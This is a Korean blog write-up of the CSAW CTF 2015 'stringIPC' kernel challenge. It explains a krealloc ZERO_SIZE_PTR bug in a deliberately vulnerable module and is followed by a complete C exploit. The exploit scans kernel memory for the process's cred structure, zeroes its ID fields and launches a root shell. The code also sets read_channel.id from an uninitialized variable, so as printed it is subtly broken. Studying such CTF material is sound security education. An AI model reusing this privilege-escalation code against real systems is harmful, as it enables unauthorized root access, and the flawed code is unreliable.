trash houz
[Linux Kernel] CSAW-CTF 2015 stringIPC 본문
CSAW CTF 2015에서 출제된 stringIPC라는 Kernel Exploitation 문제이다.
로드되어있는 모듈은 IPC를 통하여 통신할 수 있는 기능을 제공하며 새로운 IPC 채널을 생성, 찾기, 크기 변경 등이 가능하다.
각 채널은 생성 시 채널 ID 와 버퍼가 커널 메모리에 할당되고, 버퍼에 내용을 쓰거나 수정, 버퍼크기 변경 등이 가능하다.
문제 출제시 소스코드를 제공했으므로 IDA로 분석하는 참극은 일어나지 않도록 하자.
https://github.com/mncoppola/StringIPC/blob/master/main.c
mncoppola/StringIPC
CSAW CTF 2015 Linux kernel exploitation challenge. Contribute to mncoppola/StringIPC development by creating an account on GitHub.
github.com
CSAW_ALLOC_CHANNEL
CSAW_OPEN_CHANNEL
CSAW_GROW_CHANNEL
CSAW_SHRINK_CHANNEL
CSAW_READ_CHANNEL
CSAW_WRITE_CHANNEL
CSAW_SEEK_CHANNEL
CSAW_CLOSE_CHANNEL
이러한 기능들이 있는데, 취약점은 GROW, SHRINK에서 터진다.
일단 하나씩 알아보도록 하자.
CSAW_ALLOC_CHANNEL

특별한 것은 없고 ipc 채널을 새로 생성해주는 동작을 한다.
mutex를 사용해 lock, unlock 해주는 과정이 코드 전후반에 있지만, 문제에 큰 영향을 주지는 않는다.
alloc_new_ipc_channel이라는 함수를 다시 호출해 실제 채널 생성을 하는데, 한번 살펴보자.

채널 정보에 관한 구조체를 위한 공간을 kzalloc()으로 동적 할당하고,
실제 data 를 담을 공간을 인자로 넘겨받은 buf_size 만큼 동적 할당한다.
마지막으로 idr_alloc() 을 통해서 id 번호를 생성한다.
CSAW_OPEN_CHANNEL

이미 생성된 채널을 오픈하는 파트인데, 이 문제에서 별로 중요하진 않다.
간단하니 넘어가도록 하겟당.
CSAW_GROW_CHANNEL, CSAW_SHRINK_CHANNEL

이 부분에서 취약점이 터지게 된다.
정확하게 말하면 이 파트에서 호출하는 realloc_ipc_channel에서 문제가 터진다.
GROW는 말 그대로 늘려주는 애고, SHRINK는 줄여주는 애다.

동작을 보면 일단 id로 채널 정보를 불러온 뒤에, grow 값이 있으면 size 만큼 늘리고 값이 없다면 줄여 버린다.
이런 과정들을 krealloc() 이 처리해주는데, 사용자가 입력한 값만큼 더해서 재 할당을 하고 기존 공간은 free 한 뒤에
새로 할당된곳의 주소를 리턴해준다.
만약 할당에 실패를 하면 기존 공간을 free 하지 않고 NULL을 리턴하게 된다.
이 때문에 코드에서는 NULL로 에러 처리를 한 것 같은데, krealloc() 은 특정 조건으로 실패할 경우 NULL을 리턴하지 않는다.


그렇다... 리턴 값이 무조건 NULL 이 아니라 ZERO_SIZE_PTR(16)을 리턴할 수도 있다.
이렇게 되면 data의 주소를 16으로 바꿔 메모리를 읽어 온 뒤 comm을 찾아 cred를 바꾸는 짓이 가능해진다.
위 내용에 관한 자세한 설명은 아래 링크를 참조해보도록 하자.
https://applemasterz17.tistory.com/222
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <errno.h> | |
#include <fcntl.h> | |
#include <time.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <sys/ioctl.h> | |
#include <sys/prctl.h> | |
#include <fcntl.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#define CSAW_IOCTL_BASE 0x77617363 | |
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1 | |
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2 | |
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3 | |
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4 | |
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5 | |
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6 | |
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7 | |
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8 | |
struct alloc_channel_args { | |
size_t buf_size; | |
int id; | |
}; | |
struct read_channel_args { | |
int id; | |
char *buf; | |
size_t size; | |
}; | |
struct write_channel_args { | |
int id; | |
char *buf; | |
size_t size; | |
}; | |
struct seek_channel_args { | |
int id; | |
loff_t index; | |
int whence; | |
}; | |
struct shrink_channel_args { | |
int id; | |
size_t size; | |
}; | |
int main() | |
{ | |
struct alloc_channel_args alloc_channel; | |
struct write_channel_args write_channel; | |
struct read_channel_args read_channel; | |
struct shrink_channel_args shrink_channel; | |
struct seek_channel_args seek_channel; | |
int fd, id, ret; | |
char comm[] = "catchmeifyoucan"; | |
size_t addr = 0xffff880000000000; | |
uintptr_t cred = 0; | |
char *leak; | |
char *buf = malloc(0x1000); | |
// comm 세팅 | |
ret = prctl(PR_SET_NAME,comm); | |
if(ret < 0) | |
{ | |
printf("prctl error!\n"); | |
exit(0); | |
} | |
/* | |
1. open 호출시 csaw_open(*inode, *file) 호출됨 | |
2. *state 구조체 동적할당 후 0으로 초기화 | |
3. state->lock mutex_init 진행 | |
4. file->private_data = state{channel, lock} | |
*/ | |
fd = open("/dev/csaw",O_RDONLY); | |
if(fd < 0) | |
{ | |
printf("fd Error!\n"); | |
exit(0); | |
} | |
// alloc_channel 구조체 초기화&세팅 | |
memset(&alloc_channel,0,sizeof(alloc_channel)); | |
alloc_channel.buf_size = 1; | |
// CSAW_ALLOC_CHANNEL 호출 | |
ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_channel); | |
printf("id = %d\n",alloc_channel.id); | |
// shrink_channel 구조체 초기화&세팅 | |
memset(&shrink_channel,0,sizeof(shrink_channel)); | |
shrink_channel.id = alloc_channel.id; | |
shrink_channel.size = 2; | |
// CSAW_SHRINK_CHANNEL 호출 | |
ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_channel); | |
// leak cred | |
for(;addr < 0xffffc80000000000; addr += 0x1000) | |
{ | |
memset(&seek_channel,0,sizeof(seek_channel)); | |
seek_channel.id = alloc_channel.id; | |
seek_channel.index = addr - 0x10; | |
seek_channel.whence = SEEK_SET; | |
// CSAW_SEEK_CHANNEL 호출 | |
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel); | |
memset(&read_channel,0,sizeof(read_channel)); | |
read_channel.id = id; | |
read_channel.buf = buf; | |
read_channel.size = 0x1000; | |
// CSAW_READ_CHANNEL 호출 | |
ioctl(fd,CSAW_READ_CHANNEL,&read_channel); | |
leak = (char *) memmem(buf,0x1000,comm,sizeof(comm)); | |
if(leak) | |
{ | |
printf("Found!!!\n"); | |
cred = *(uintptr_t *)(leak -0x10); | |
printf("cred addr = %p\n",(void*)cred); | |
break; | |
} | |
} | |
char zero[30] = {0}; | |
// cred setting | |
for(int i = 0;i < 44; i++) | |
{ | |
memset(&seek_channel,0,sizeof(seek_channel)); | |
seek_channel.id = alloc_channel.id; | |
seek_channel.index = cred - 0x10 + 4 + i; | |
seek_channel.whence = SEEK_SET; | |
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel); | |
memset(&write_channel,0,sizeof(write_channel)); | |
write_channel.id = alloc_channel.id; | |
write_channel.buf = zero; | |
write_channel.size = 1; | |
ioctl(fd,CSAW_WRITE_CHANNEL,&write_channel); | |
} | |
if(getuid() == 0){ | |
puts("[+] root now."); | |
system("/bin/sh"); | |
exit(0); | |
}else{ | |
printf("UID : %d\n",getuid()); | |
} | |
} |
'Writeup' 카테고리의 다른 글
[Linux Kernel] 0CTF 2018 FINAL BABY (0) | 2019.08.23 |
---|---|
[Linux Kernel] CISCN 2017 babydriver (0) | 2019.08.20 |
[Linux Kernel] STARCTF 2019 hackme (0) | 2019.08.02 |